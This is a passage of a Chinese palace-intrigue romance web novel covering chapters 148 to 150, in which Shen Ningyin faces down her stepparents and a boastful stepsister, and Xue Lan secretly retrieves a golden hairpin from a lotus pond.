【脸面是挣来的，不是旁人给的，大人若做不得主，护不住妹妹，往后如何护持住女儿？】
沈远淮袖子里的手指缓缓攥紧，蓦地挺直了背脊，将才的犹豫忐忑、那些逃避的情绪仿若冰雪般消融了个干净。
“愣着做甚？还不滚出去！”沈定山怒意翻涌，一双带着血丝的招子死死瞪着自己的长子。
往日被这般瞪着，沈远淮必是落荒而逃，再不敢与父亲对视，可沈远淮转过身，直面父亲的怒火。
他明明不堪大用，样样都平庸无趣。在沈夫人有意无意的影响下，就连大房一支的院子里，下人们也都有了侍郎府将来会传给沈夫人生的幼子的传言。
没有人相信他，包括他自己。他会去做的，不过是花着家中的银钱人脉补了个六品差事。
沈宁音怎么想都想不明白，长兄何时这般勇敢了。
“父亲！逆耳忠言，您不肯听，儿子却不能不说！”沈远淮红着眼睛看向沈夫人：“母亲再如何舌灿莲花，儿子也是这侍郎府名正言顺的嫡长子！”沈远淮用力抖了一下衣摆。
沈玉珠看着父亲，眼睛里的光愈发明亮，鼓励渐渐变成了崇拜。
谁不想有个英雄般的爹爹呢？
沈远淮脸上红肿着，却半分不减他伟岸的气势，他没有理会沈定山与沈夫人震惊到无以复加的神色，转眸对沈宁音道：“二妹妹，你说！今日大哥替你做主！”
沈宁音也是震惊的，沈玉珠推了推她的肩膀她才反应过来。
沈夫人脸色青一阵白一阵不敢说话，沈定山想发火却又给打断，这会儿索性冷笑着看向沈宁音。
沈宁音懒得去管沈定山夫妇，有条不紊开口道：“今日郑四郎带着礼物登门，若换了旁的事儿，原是周全的。人品、样貌、家世，他也并无什么不好。”
沈夫人听到这儿，底气又十足起来：“你既然都知道！拦着你妹妹这亲，还不是包藏祸心？你抓不住世子爷的心，是巴不得咱们家的女儿嫁得不好！”沈夫人越说越添了真心，拿着帕子开始抹泪：“真是农夫与蛇，你们都听听！养了这么大，竟反咬咱们家一口。”
沈定山听了沈夫人这些个话，也是满脸冰霜的咬牙盯着跪在地上的沈宁音，尤其在瞧见沈宁音脸上毫无悔意的平静神色时，沈定山的愤怒几乎到了顶点。
沈宁音平静开口：“可他傍晚前来，要议的是与引章的亲事。”
沈夫人忍不住怒道：“哪里错了？！他对引章上心！对引章好，郑四郎既然自己巴巴地跑来，将来咱们引章嫁过去难道不是更加受宠？”
沈宁音不屑地哼笑了一声，惹得沈夫人红着眼睛要上前。沈玉珠连忙拦在沈宁音前头。
“够了！”沈远淮大声道：“让二妹说！”
也不知怎的，沈夫人身子颤了下，竟消停了。
沈宁音接着说道：“既是议亲，便该有长辈前来，永宁伯夫人身子康健，前两日还在宴会与各家夫人相谈甚欢，断没有病到不良于行，需要儿子独自来谈的程度。而且……”
沈宁音眸光倏然锐利：“上京城的家族姻亲，岂是那儿女相悦就能过得顺遂的？”她直直对上沈夫人的眼睛：“母亲是不是以为，有了郑四郎君的偏爱，永宁伯夫人就会多看重引章半分？”
沈宁音冷笑：“相反的，今日要真对着
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那郑四郎以礼相待，只会叫人把引章看得低人一等！先不说永宁伯夫人不来，是不是不认可这门亲事，但说那永宁伯府连长辈也不必过来，便能说定了咱们家的姑娘，往后，引章真嫁过去，只会永远抬不起头来！”
她这话一说完，沈夫人脸色一下子白了，她大张着嘴下意识想反驳，却怎么也想不出辩驳的理由。
沈定山脸色阴晴不定，似有悔意。
沈宁音也不等他们说话，撑着地面要起身，沈远淮连忙吩咐：“玉姐儿，还不把你姑姑扶起来。”
在沈玉珠的搀扶下，沈宁音连眼角余光都没给沈家二老。
该说的她已说得通透，旁的事情，她做不得更多。
沈远淮看向自己爹爹，只觉着这些年被他当做榜样，可望而不可即的元老父亲，如今也不过如此，甚至比不得那递消息叫自己来撑腰救人的阉人。而那从前对自己尚算不错的姨母兼继母，从来都不是为了自己好。
“父亲，这下您满意了？”沈远淮一甩袖子，转身便走。
“你！”沈定山被儿子的态度气得差点背过气去。沈夫人忙扶着他：“老爷……老爷您别生气。”
一听着妻子的声音，沈定山更火大，他抬手便推开了沈夫人，沈定山抓起那泛黑的藤条，沈夫人一瞅，几乎要吓得魂飞魄散。
将藤条重重扔在了地上，沈定山指着沈夫人的鼻子：“你还有脸说话！如今打错了人，还差点儿害了引章一辈子！虎毒尚且不食子！你这个做母亲的简直恶毒至极！”
沈夫人有心想说，打人冤枉人时明明沈定山也有份，可她不敢，只得将所有委屈不平咽下肚去，眼泪说掉就掉：“老爷！妾身也不是有意的！妾身只是不知这些弯弯绕绕……”
“你不知！？”沈定山怒不可遏，吼道：“你这无知妇人！既然不知，那你自作主张做甚？宁音是做主母的，她懂的比你多得多！”许是忽然想起动手打人、不肯听劝的也是自己，沈定山又羞愧得红了脖子，他闭了嘴，拂袖离去。
天色尽墨，侍郎府华灯初上。隔着绢布的烛火随着风吹灯笼的摇晃而明灭。
在灯火照不到的地方，亲信站在墙外：“主子！”
墙上的人回头盯了他一眼。
黑灯瞎火的，但亲信没来由打了个寒颤，他就是知晓主子瞪了他一眼。
亲信连忙拿两只手扩在嘴旁，用极小的气声道：“主子~很晚了，该回皇城司衙门了~”
薛岚没回应。
亲信挠了挠头，小声嘀咕：“您都叫沈大郎君去救了，想是已经平安的……要不卑职替您去跑一趟探探？”
墙上的影子终于动了动：“不必。”他跳下来，掸了掸披风上看不见的灰：“也不是什么要紧的。”
“哦……”亲信，手把着绣春刀，眼里都快没了光。好想下班……不要紧的事儿何苦耽搁到这么晚？
亲信满腹牢骚，但不敢说话。
148. 炫耀
郑四郎回到家，刚睡下没一会儿，永宁伯夫人就亲自找过来了。
仆人上了茶，永宁伯夫人也没喝，脸色难看地坐在外间：“还不快叫你们主子出来！”
郑四郎给人从浅睡里头推醒，满脸的疲倦，眉头皱得很紧，他披了见衣裳打着呵欠走出来：“母亲，这么晚了，有什么事儿不能明日再说么？”
永宁伯夫人黑了脸色，抄起一旁的纤细的掸子就朝他身上招呼。中空的硬竹子抽在胳膊上，疼痛感把个郑四郎瞌睡都给抽醒了。
郑四郎往远了跳出去两步，捂着胳膊瞪大眼睛：“母亲打我作甚？！”
“打你？为娘今日就打死你去！”永宁伯夫人指着他鼻子气得七窍生烟：“打死了你也好过你自作主张跑出去转着圈儿地丢人！”
郑四郎身形矫健，左躲右闪的，愣把他娘亲的棍子躲得完美又流畅，他一面躲还一面咬牙切齿冲外头喊：“该死！是谁告诉我娘的！？小爷要是查出来，定打断他的狗腿子！”
永宁伯夫人气得脑袋一阵阵发晕，人没打到，便只得扶着旁边儿的桌几：“小兔崽子！你还好意思威胁旁人。娘跟你说的，你统统都忘了是不是？！”
郑四郎面上露出不服气来，他神色认真：“孩儿就是没忘，这才自作主张前去求亲的！”
永宁伯夫人更气了，她起先是苦口婆心劝他放弃这门亲事的，沈家一女许两家，沈家女闹到上吊，还有那女娘的婚约不清不楚的，伯爵府这样的人家，是累世的名声，再有昌平侯府的面子，伯府也是不敢沾这等名声的。
“这世上的女娘这么多，整个上京难道还挑不出一个好姑娘么？”永宁伯夫人压下怒气，苦口婆心。
郑四郎一脸的油盐不进：“那又如何？沈家那么多女儿，名声差人品不好的又不是引章姑娘！”
“人的名，树的影！她姊姊这般，难保她不会也这样！”永宁伯夫人还要再劝。
郑四郎将头一别：“娘你不必说了，孩儿就是想要这门亲事。”
“你！”永宁伯夫人气得说不出话来，一时间也不委婉了，直言：“好好好！即便你认定了那沈家丫头，你自个儿跑去提亲算怎么回事儿！”
郑四郎回过头，攥紧了掌心：“那还不是娘不肯去！再拖下去，指不定谁家就先去提了亲！”
永宁伯夫人气得一个倒仰，抄起掸子就挥过去。郑四郎连忙躲开，那掸子砸在凳子上，直接断成两截。郑四郎见了那飞起的断竹瞠目结舌：“娘你来真的！？”
永宁伯夫人红着眼睛，一把扔了手里的半截掸子，咬牙怒斥：“你当我在跟你闹着玩？你以为你亲自登门能好好表现，叫那沈家的长辈偏看你几分、叫那沈家丫头能知晓你的诚意？可你知不知道，你如今这么一去，非但辱没了那沈家丫头，还跳过了昌平侯府那位少夫人！真真是弄巧成拙！”
郑四郎原是不以为意的，以为母亲是要说教，可下细一听，又联系到秦家少夫人对自个儿的冷遇和撵人……郑四郎脸色苍白起来，他坐不住了，急忙放软了态度：“娘！是孩儿的错，是孩儿没跟您商议，现在怎么办？”
后悔的情绪像潮水一般充斥在郑四郎的胸口。
永宁伯夫人抬手抽出袖子，黑着脸背过身去：“我能怎么办！你不是能耐么？自个儿想法子！”
毓秀阁。
是沈宁音年少时住的地方，坐北朝南，阳光充足，多宝格子里放着各色瓷器，墙上挂着墨宝。
能回这，丫头们都很激动，染竹在沈宁音身边儿最久，此刻眼睛里尽是回忆。
兰香入府迟些，看着这地方更多的是好奇。
无人知晓，在旁人眼里的五年，于沈宁音来说，已经是隔世。沈宁音背上伤得厉害，她趴在榻上，伤口已经处理过。
原不觉着多疼的，可有的痛就是这样，擦了药、裹了伤，反倒疼得睡不得觉。
隔着床帐，她听见沈玉珠压抑着的啜泣。
沈宁音委实没精神，强撑着微笑道谢：“多谢兄长帮衬。”
沈远淮听了，心下感慨：“是为兄从前软弱了，今日之事，是为兄该做的。”他怅然道：“无论如何，你叫我一声兄长，往后，父亲不替你做主，长兄给你撑腰。”
沈远淮慨当以慷地说完前言，忽然沉默了片刻，叹了一息，羞愧道：“其实，我能去帮衬妹妹，也是受人托付，才……”
沈宁音听罢一愣。
旁边儿的沈玉珠连忙扯了扯沈远淮的衣角。沈远淮回神，连忙岔开话题：“时辰晚了，我们便不搅扰你歇息了。”
沈远淮说罢就告辞。
沈玉珠想守着，沈宁音没让，只叫她明日再来。沈玉珠是哭哭啼啼地被她爹带回去的。
沈宁音怎么都睡不着，心里装着事情，伤口也疼。
这侍郎府里头，连她自个儿也没想过要找大哥帮衬，沈引章这样的小姑娘，被拉走后，定然给沈夫人的人看得死死的，而且，她若能想到去叫大哥沈远淮，她也断不会自己来向父亲求情了。
偌大个侍郎府，有谁会关心自己？
沈宁音想不明白。
夜晚静谧，熄了灯，就不辨时辰。沈宁音往往是将将要睡熟便要么给疼醒、要么给惊醒，她始终处在半梦半醒模糊状态。
也不知什么时辰，她突然有感，身子一颤、猛地从床上惊醒。看了眼窗外，发现已经有些微的晨曦。
她再睡不着，索性起身看些书。
染竹推开窗子，忽然发了一声惊咦。
“怎么了？”沈宁音坐在梳妆台旁，转眸询问。染竹就拿着一个瓷罐子过来：“少夫人，窗台上放了这个。”
沈宁音没有打开塞子，放到鼻尖嗅了嗅，清凉莹润的药味隐约传来。沈宁音能分辨出，这是上好的伤药。
她打开盖子时，旁边儿的兰香凑过来看了一眼，笑道：“真真奇怪，大郎君和姐儿送的药膏怎的不亲手交给少夫人？”
沈宁音拿手指擓了一小坨在皮肤上试了试，便交给兰香给自己上药，也没说话。
染竹道：“兴许是一时忘了，再折返时，少夫人也睡下了。”兰香一面给沈宁音抹药，一面点头：“也是。”
沈宁音心下却不觉着，倘使是大哥沈远淮，即便他不会直接给，也会叫醒守夜的丫头交代一二，哪里能放在窗台上？
便是猜测沈定山良心发现，也断不会是沈远淮。
不过，沈宁音不是个矫情之人，要当真是沈定山良心大发，只要药品没问题，她便也照用不误。
这样
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真材实料的好伤药，到医馆买也是一笔不小的银钱，自个儿也能少受许多苦，何必替旁人省钱？
但用归用，原谅不了一点，沈宁音这么做也丝毫没有心里负担。
刚用完早膳，门外便传来一阵喧嚣声，沈宁音抬起头便看到意气风发的沈弦思未经通禀就掀帘走了进来。
沈弦思头上戴着的珠翠又多了几样，这些个价值不菲的头面，沈宁音只在前世见过，都是顶顶值钱的好玩意儿，沈夫人只在要紧的宴席上才会拿出来穿戴，而今，竟然有好几件都戴在沈弦思云鬓间。
沈弦思展了展身上的银丝刺绣披帛，笑得满面春风：“二姐姐，听说你昨儿被爹爹罚了？”
沈宁音没说话，也没起身。沈弦思轻笑，自顾自道：“姐姐真是可怜，贵为侯府少夫人，失宠于夫家，在家，又不讨爹爹和母亲喜欢。如今吃了苦头，可学乖了？”
“妹妹今日过来，只是为了劝我听话？”沈宁音上下打量她，却只字不提沈弦思想炫耀的衣裳与头面。
沈弦思捏紧披帛冷笑着转身看她：“哼！我才不劝你。野种就是野种，即便听话又如何？再如何听话也得不到爹爹和母亲的欢心！”
沈宁音笑容不变，脸色却沉了下去，她知晓沈弦思想来炫耀，原本是不想理会的，可沈弦思偏要捋虎须，那她可就不客气了：“妹妹怕不是忘了。”沈宁音站起身来，似笑非笑看向沈弦思：“本夫人可是一百多抬嫁妆嫁进昌平侯府的。妹妹莫不是疯了？语无伦次，胡言乱语。”
沈弦思脸色一下子变了。
沈宁音抬脚走了两步，斜睨沈弦思继续道：“妹妹是想贬低将我嫁过去的沈家，还是想侮辱累世功勋的昌平侯府。又或者……妹妹的嫁妆比我的还多？”
“你！”画着精致妆容的沈弦思脸孔扭曲起来，是连那通身昂贵的料子都掩盖不住的丑陋。
沈宁音轻启朱唇，送上最后一击：“我倒是忘了，妹妹嫁的人，可没多少聘礼给过来，单单靠着侍郎府给准备，怕是八十抬都拿不出来吧？”
沈宁音当初嫁人，可谓是风光无限，单单侯府就给了八十抬，沈定山为了攀上侯府，也是下了大力气的，全都让带了回去。
如今，沈弦思那两个搅扰不清的未婚夫，一个是她倒贴的冷元景，这个人，沈宁音前世再清楚不过，冷家根本不会给什么聘礼。至于那个朱七郎，礼部侍郎家虽然风光，但架不住沈弦思手段下作，单单这急匆匆过来谈亲事，朱家连流程都懒怠走，不给她体面的意思很明显了。
那些个偏院放着的聘礼，一两天筹备的，能好到哪里去？
沈弦思像被踩了尾巴的猫，凶狠地看向沈宁音：“沈宁音！你别得意！你连沈家人都不是！你那些嫁妆原本就该是我的！”
沈宁音嗤笑：“那又如何？是你自己不要的！”
沈弦思拳头攥得泛白：“你即便嫁过去，还不是一个月就失宠于秦世子？而我……”沈弦思似乎冷静下来，神色倨傲里还带着嘲讽与得意：“我如今退可嫁爱我的元景哥哥，进可嫁礼部侍郎府家的七郎君！”
见沈宁音听了毫无表示，沈弦思冷笑：“还有，我如今得了宫里贵人邀约！将来前程不可限量，你啊，就等着孤独老死在侯府那四方宅院里头吧！”
149. 警告
沈弦思原是来羞辱沈宁音一番的，这么些天的隐忍和委屈需要宣泄。
可她没料到未出嫁前逆来顺受的养姐，如今是见一句怼一句，沈弦思在沈宁音这儿半句讨不得好。她便只得放了几句狠话高昂起头颅往外头去。
兰香送沈弦思出去后又跟了一段，回来就告诉沈宁音道：“思姑娘上了马车。车上挂着宫灯，四周护持的皆是皇城司的人。”
几个丫鬟都看着沈宁音，大家虽不言语，但目光里都含着担心。
“该做什么就做什么去。”沈宁音转眸吩咐：“这段时日，都注意些，别跟侍郎府的下人过多接触。”
正所谓水来土掩兵来将挡，沈宁音深知，当情况不明时，静观其变才是最稳妥的。她顿了顿，问：“最后挂出去的几间铺子可卖出去了？”
昌平侯府里头，总有那些个拿乔不肯献出忠心的掌柜，欺她沈宁音年纪轻，想拿她在松鹤堂那边卖个好。沈宁音便也没惯着，除了侯府最紧要的几处来钱的产业，旁的她索性都挂出去了。
沈宁音略估了下，她价钱挂得不高，上京产业又抢手，这么久了也该收拢回银子了。
负责外事的人是春渠与兰香，春渠不在，兰香脸上露出个明显为难的神色来。
沈宁音心下惊讶，意识到兴许有什么妨碍。
“少夫人，还有三间，都没人来接手。”兰香声音很低。
“是价格不合适？还是没人来看？”沈宁音一面问，一面思索着。
上京城寸土寸金，沈宁音那个开价皆是按照前世的规格来的，绝不会太便宜，导致亏了本钱，也不会太贵，贵到叫人为难。
“都不是。”兰香摇摇头。沈宁音听罢就更好奇了，安静等着兰香解释。
兰香道：“也是来过几个贵客去瞧的。只不过，京城里头出了件大事，贵人们购置铺面也都小心起来。”
“何事？”沈宁音微微蹙眉。
兰香大约将事情讲了一遍，大抵就是昨日凌晨，那位寿山伯家的大姑娘突然遭遇匪徒，给掳劫了去，听说救回来的时候人已经不成样子。
“可怜那寿山伯家子弟平平，嫡出的就只有这么个还算称头的女儿。寿山伯怕是想着靠姻亲帮衬自家子弟一把的。”那日赏花宴，沈宁音远远看见那位大姑娘一眼，眉眼温和，刚成年，却也有了主母风范。如今她香消玉殒，沈宁音也不禁感慨良多。
“可不是。”兰香小声道：“这等大案，又事涉勋贵，原该归皇城司负责的……”
沈宁音心下闪过一抹疑惑，凝眉看向兰香：“皇城司没接？”
“嗯。”染竹怕兰香说出什么惊世骇俗的话来，连忙接了口道：“此番已经下放至大理寺。”
这样要命的案子，又出在柔福长公主的赏花宴隔天，于情于理都不该落入大理寺去审。
沈宁音捏紧了袖子，她从事情里头嗅出些山雨欲来的意味。
兰香见她不语，插嘴：“皇城司那些个大人也真真不知轻重，现如今竟然调拨了几十个番子护送思姑娘，有这时间送人，竟没空去查个命案。”
“那可是位伯爵家的嫡长女，竟比不思姑娘一个那样的人……”
染竹越听越是怕传出去，连忙上窗外查了一边：“兰香，你就少说两句吧。皇城司可不是能随意编排的……”
兰香大约是想到了皇城司素来的凶名，这会儿也就乖乖闭了嘴。
沈宁音略略抬眸：“上京城的繁华，似锦如歌，再好的家世、样貌，最后也不过作了土。”
“只是那手段，未免太过歹毒。”沈宁音几乎可以肯定，这寿山伯家的大姑娘，定是得罪死了什么人。而这个人，在暗处，说不定，就跟沈玉珠当时遇到的怪事有关系。
沈宁音捏着步摇的手微微用力，她不能坐以待毙。
沈宁音细细思忖起来。
……
天水胡同里头那所最大的宅子，从前一直是空着的，如今车马来往，周遭人方知，那是新添了户人家，里头的主子非富即贵，神龙见首不见尾。
唯独那丫鬟脸上有道疤，蜿蜿蜒蜒的，可惜了那出色的容貌。
薛岚迈步进屋时，白惜就跪在地上给他换下鞋袜。
她原是瘦的，这段时日跟了薛岚，身上就稍稍丰腴了些，即便脸上留了疤，却也相较从前气质上好了许多。
“我说过，你不必如此。”薛岚将脚后撤，躲开了白惜的手：“本官可不是李云英。”
白惜抿着唇抬头看他，眼里的泪将咯未落，很是楚楚可怜。薛岚却似没瞧见般，径直走进去。
白惜显然不是头一遭遇了冷，她连忙站了起来，轻车熟路地跟了进去：“主子说哪里话？这些都是奴婢该做的。”
“主子渴不渴，奴婢去奉茶。”白惜行了一礼往耳房退去。
薛岚看着她的背影，蓦地出声：“给你的药可用完了？”
白惜身子一颤，捏紧了裙裾，声音却是轻松又谦卑：“还没有呢。”
没听着薛岚的回应，白惜连忙加快了脚步。
等茶水奉上来，薛岚接过杯子，依旧是往日里冷冷淡淡的神色，可是莫名的，白惜心中涌现出一股子忐忑不安来。
琥珀色的茶汤内照出薛岚此刻俊逸无双的脸孔，他低头呷了一口茶，倒影破碎，化作失真的涟漪。
“圣人有一道旨意。”薛岚突然没头没尾说了这么句。
白惜身子绷着，紧紧盯着坐在上首的男人，听着他的下文。
薛岚也没解释，直言吩咐：“你去送一趟吧？”话虽是在问，语气却是不容置疑的肯定。
白惜闻言，内心里的恐慌统统都被喜悦和兴奋替代。
她是想攀上薛家的，更想近水楼台先得月。如今薛岚身边连个暖床侍婢都没有，她自然是动心思的。
以白惜多年对薛岚的了解，将来就算是主母嫁进来，她也能靠着往日情分有立足之地。所以，当她的脸被云英郡主划伤后，薛岚是给过她极好的伤药的，可是她根本没有用过。
她就是想留疤，这会让曾经脸上不完美的男人同情、移情。更能叫新主母放下警惕心。
眼下，素来冷淡，样样事情不肯叫她沾手的薛岚，今日竟然主动给了白惜差使，而且还是事涉圣令的大好差使！她只觉离自己的目的愈发临近了。
白惜满目的狂喜，压抑不住嘴角的笑意：“主子放心，奴婢一定办好。”<
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p>薛岚神色晦暗不明，语调仿佛比往日里都要冷上几分。他从袖中抽出个御令折子，扔到了桌案上：“送去给李云英。”
听见李云英三个字，白惜猛地抬眸，她眼底的震惊恍若实质。薛岚没有说话，甚至都没在看她。
白惜再看向那折子时，早已经没了将才的喜悦，心里仿佛被人兜头浇了一盆凉水。她走到桌案旁，腿一软，跪了下去。
白惜也没去够折子，眼泪在眼眶里打着转，声音哀婉：“主子，这等要紧事，奴婢不敢擅专，要不……您安排旁人？”
薛岚垂眸，目光覆没在白惜脸上，她脸色都苍白起来。薛岚的眼眸是天生的凶戾，尤其此刻，仿佛能洞穿她的一切，白惜忍不住微微颤抖。
“不敢？”薛岚忽然开口：“本官看你胆子大得很。”
白惜那些自以为是的、跟李云英隐蔽见面的事情，薛岚不是没发现的，他想管，自然也能管个彻底。
之所以没说破，除了不想同李云英撕破脸外，更因为他并不在意。
薛岚没有多言，只将那明黄色的折子朝白惜身上扔去，待到她伸手接住后，薛岚只说了两个字：“去吧。”
也无需带什么话，李云英看见白惜便能知晓，他是在警告。
寿山伯嫡长女一事，实在做得太过，圣人能保她一次、两次，保不得她一辈子。
薛岚下意识想去摸刀柄，又摸了个空，他皱了皱眉，蓦地想起了那日在昌平侯府时，沈宁音在绣着的香囊……
她素手纤纤，飞针走线，阳光不甚分明，照得指尖若羊脂白玉，莹润清透……
薛岚皱紧了眉，用力捏了捏眉心，将那些个画面统统从脑子里挥散。
脑子里着实是放空了，但心里却蔓延出一股子莫名的烦躁来。
“来人！”
门外亲信连忙推门进来：“卑职在。”
“……”薛岚思忖了两三个呼吸，他素来行事果决，沉默这般久，亲信未免纳罕，只抬眼偷偷打量。
薛岚张了张嘴，沉声道：“本官在沈府掉了东西，随我去寻一寻。”
亲信领命：“是，卑职马上去调集人手。”
“不用。”薛岚呼吸略沉：“你同我去就好。”顿了顿，他又嘱咐道：“天黑后再去吧。”
亲信：“？”
沈宁音心里装着事儿，午觉就睡得很不踏实，及至傍晚时分，她已经有些困顿。
自打跟养父母闹翻后，沈定山拉不下脸来，大约是想等着沈宁音去服软。而沈夫人那，更是连过去请安都免了。她就正好腾出手来安排些铺子与田宅之事。
沈引章被沈夫人禁足，毓秀阁这儿，也只有沈玉珠来得最勤。
蔡氏偶尔也过来，却是唉声叹气的。
“姑姑，您别管母亲的。”蔡氏走之后，沈玉珠轻声道：“她就是担忧我的亲事，可我还能在家待个三四年的，却也不急。”
沈玉珠叫她别在意，沈宁音倒是上了心，她放下手里修花的剪子，笑道：“你对未来可有什么要求？”
沈玉珠脸皮薄，闻言有些脸红，她□□着裙子，低着脑袋：“也没什么要求，粗茶淡饭，平平安安也可，一切听凭姑姑做主。”
150. 失足
沈宁音叹了一息，伸手摸着小姑娘毛茸茸发髻：“玉姐儿放心，姑姑定给你挑个好的。”
沈玉珠是个贤惠的，就是人老实，心眼儿少，先前她想着等来年放榜，给她寻个前程好的，按说，那位探花郎人品贵重，家中也没什么乱七八糟的事儿，若能提前打点，在他来上京就笼络到侍郎府给予厚赐，携恩相许，倒也使得，还能传成佳话。
可如今，侍郎府给养父母作弄成这样，她只觉心冷，怕是家里要给未来探花郎不少挂落吃、瞧他不起。沈宁音虽能帮着沈玉珠，却也不可能日日都在娘家守着。
若带去昌平侯府，那就没法给他们日久生情的机会了。
而现在，沈弦思闹出这等动静，将来倘使东窗事发，沈家名声污了，沈玉珠再好，那未来探花郎也未必愿意因此担了发妻家的坏名声。
沈宁音已经在考虑，若此事不成，她说不得得回一趟姑苏。前世，她做了好些年冷元景的妻子，对那边更熟稔些，找个未来不错的寒门，也能护着她一世安逸。
沈玉珠知晓沈宁音待自己的真诚，闻言也乖乖点头。
两人又叙了会儿话，摆弄了许久花枝，沈宁音也乏了，索性就亲自送她回沈家大房的院门口。
沈宁音一面捏着拳头轻垂着手臂，一面困顿得打了个呵欠。她是要回去毓秀阁的，在抄手游廊随意看了一眼，沈宁音蓦然发现隔着一座假山和长青灌木的回廊内，似乎灯笼灭了几盏。
也不知是不是因着重生的缘故，她的耳力在寂静的夜色中变得极好。
她听见了水声与说话声。
沈宁音犹豫了一下，这么迟了，还在鬼鬼祟祟做事的，定然就是不想叫人知晓的。一喊必定就得仓皇逃离，而她要去毓秀阁，委实也太远，找了人来，怕是都已经没影了。
思及此，沈宁音从假山旁随手薅了块巴掌大的石头便径直走了过去。
“主子，您都找半晌了，衣裳都湿了，夜里凉，先上来吧。”亲信不敢高声，只管小声念叨。
这等话，在过去的两个时辰里头薛岚听了不下几十遍。薛岚充耳不闻，捋起的袖子早没了束缚，垂到了水里，寒津津地贴在他腕骨上。
亲信急得团团转。先前提过替他去找的，可是什么东西掉在何处，亲信并不知晓，眼下都快两个时辰了还没找到。
白天时候，亲信看见过，深秋时节，荷花池里尽是枯枝败叶，荷花池虽浅，可东西掉下去，天知道会顺着那个犄角旮旯卡进去？
薛岚抿了抿唇，正欲放弃时，手指摸到一处坚硬金属物，这触感与滑腻的荷叶杆、与生涩的藕根皆不同。只是他想扯起来时，绿苔缠绕着手指，搭不上力气。
亲信见状，立马搁了灯笼跳下水去帮忙。
终于，四只手将东西拽了起来，走到塘边，亲信看清了东西眼睛一亮：“是金的，金簪！”
他声音有些大，讲完就连忙捂住了嘴，薛岚没说话，将东西擦了擦。
也不知为何，看见这海棠金簪他下午时烦躁的心莫名地安定下来。
但找着这东西后，薛岚冷静下来，反被自己无言到了，下午自己随手便扔了，又巴巴地花了两个时辰给找回来……
薛岚皱眉不语，一旁等着下了差事回去困觉的亲信也不敢多嘴了。
直到一道光亮从黑暗中袭来，薛岚拿手略遮了烛光，未及适应，就听着熟悉的声音开口：“哪来的小贼？”
“……”
等沈宁音看清黑灯瞎火的荷塘边站着的两人，她一时愣住，略略将手上的灯笼放低，往塘岸边走去：“薛大人？”
薛岚心情分外复杂。
沈宁音略打量：“大人鞋袜怎么都湿了，是失足落水么？”她也知晓不能是，毕竟哪有失足落水只湿了袖子、鞋袜和衣摆的？可不是失足，还能是什么？自戕么？这塘子是养荷花的，深不到哪儿去，自戕也不能挑个死不了的场所啊。
沈宁音一下被一晃而过的金色晃了一下，她下意识地抬手一薅——
她真的只是下意识的，以薛岚的身手，沈宁音也从未觉着自个儿真能从对方手里真薅着什么东西。
可她手掌心一沁，沈宁音低头一看，倏然就发现掌心里多了一支金簪。
“……”下一瞬，金簪被抽走了，沈宁音抬头看时，薛岚移开了目光，轻咳了声：“皇城司办事，何须与你分说？”
沈宁音原本有些愣怔的神色，在听着男人低沉正经的声线时清醒过来，她后退了半步：“是妾身疏忽了。”
“这段回廊的烛火灭了，瞧不清楚，掉下去也是有的。”沈宁音恢复了往日的温婉，让出一条路来：“妾身只是路过，先送大人去家父的书房？”
“不必。”薛岚耳朵在夜色遮掩下显得深色了些许，他身上线条绷紧，下意识地后退了半步。在旁人看来，更像是挺直了身子，薛岚略一旋身，就大步流星地往府外方向去，亲信见状连忙跟了上去。
沈宁音看着那两个飞快融入夜色的背影好一会儿，才微微蹙了眉头。
“海棠花簪……”
方才虽只有灯笼的光辉，到手时间也极短，但沈宁音瞧着那簪子样式十分眼熟。
海棠花——那不就是周婉最爱样式么？
难道说……薛岚这个衙内也喜欢周婉？
沈宁音不禁有几分头疼。
翌日清晨，天空刚现出鱼肚白，整个侍郎府已经热闹起来了。
不必去请安立规矩，沈宁音便辰时方起。正对镜梳妆，就听着了外头来的消息。
“听说思姑娘昨儿在宫里歇下了。贵妃娘娘还见了她，赐下不少东西呢。”
兰香听了染竹的话，纳罕地转眼：“啊？她莫不是要做娘娘？又或者赐婚哪位皇子？思姑娘不是有婚约了么？都两个了……”
染竹道：“天大地大大不过皇家。”
沈宁音从铜镜里一瞧，没有错过染竹脸上一闪而过的羡慕。
“罢了，提她作甚
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？”沈宁音起身，素手整理披帛，垂着眼眸，淡声道：“该如何做，自有父亲他们做主，咱们也沾不到半分光。”
染竹有些低落。沈宁音也没抬眼，只微笑着温声道：“弦思是府中嫡女，可以带两三个大丫鬟、婆子陪房数人，染竹若是想去，我也是不拦着的。”
染竹萎靡的身子猛地一绷，忙跪下表忠心：“少夫人！奴婢岂是那等不忠之人？”染竹红着眼眶拉着沈宁音的衣角：“奴婢生是少夫人的人，死是少夫人的鬼，就算夫人愿意，弦思姑娘也不会真心待奴婢的。”
“还算聪明。”沈宁音笑着扶起她来：“你好好做事，本夫人不会亏待你的。”
伺候完洗漱、早膳，丫鬟们皆是收拾好东西退了下去。
在灶房里头刷碗时，染竹手里拿着丝瓜布在擦着，眼睛却整整出神不知在想些什么。
“染竹，你最近是怎么了？”兰香质问的语气从她头顶上方传过来。这声音带着不客气，叫染竹听着很不舒服。
染竹握着丝瓜布的手指添了点力气，没好气道：“我能有什么？”
“旁人瞧不出来，你我吃住在一起，我还能不清楚？”兰香的手指往她太阳穴戳了一下：“咱们跟着少夫人那么多年，你这样魂不守舍，谁瞧不出来？”
染竹大惊，她几乎要伸手摸自己的脸颊了：当真有这么明显么？
兰香见她抿着唇不说话，便也不再追问其他，只道：“你要知晓，少夫人才是咱们的靠山，旁的，任谁把咱们要了去，那都是没出路的！”
“你要做忘恩负义之人，可趁早做了去，别牵连了少夫人和咱们。”
兰香的话就跟直接戳肺管子没什么两样，染竹睛脸色青一阵白一阵的。她站起身，随手将丝瓜布往装满碗盏的热水盆里一扔，柳眉倒竖：“你说什么蠢话？你有何资格这么指摘我？”
“你有这想法也不行！”兰香理直气壮怼她：“我只知道少夫人对咱们极好！”
染竹想发火，但她自认为比起兰香这等将情绪写在脸上只有小聪明的，以及留守在侯府只知道蛮干斗狠的春渠是不一样的。她沉稳内敛，在见识过侯府的繁华，以及冷元景的俊美后，染竹打心底里不甘于做伺候人的丫鬟。
染竹目光沉沉地盯着兰香，索性道：“我只问你，咱们的死契在谁手里？”
兰香愤怒的小脸蓦然一顿，她们这些下人，都是记在侍郎府的，哪怕跟着沈宁音嫁去侯府这么多天了，死契也照旧捏在沈夫人的手里。
染竹冷冷地道：“沈夫人是何等样人？便是少夫人肯开口讨要，沈夫人也有的是借口推三阻四。”
“咱们！就是侍郎府拿捏少夫人的手段之一！”
兰香的嘴唇动了动，挺起胸膛：“那又如何？有少夫人在！沈夫人还能上侯府打杀了咱们不？”
